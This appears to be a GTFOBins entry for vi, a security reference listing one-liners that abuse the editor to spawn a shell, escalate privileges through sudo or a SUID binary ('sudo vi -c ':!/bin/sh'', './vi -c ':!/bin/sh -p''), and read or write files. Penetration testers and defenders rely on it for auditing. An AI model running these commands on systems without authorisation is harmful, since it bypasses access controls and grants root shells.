GTFOBins.github.io/_gtfobins/vi.md
2018-05-28 20:12:44 +02:00

355 B

functions
execute-interactive sudo-enabled suid-enabled file-read file-write
code
vi -c ':!/bin/sh'
code
vi :set shell=/bin/sh :shell
code
sudo vi -c ':!/bin/sh'
code
./vi -c ':!/bin/sh -p'
code
vi file_to_read
code
vi file_to_write w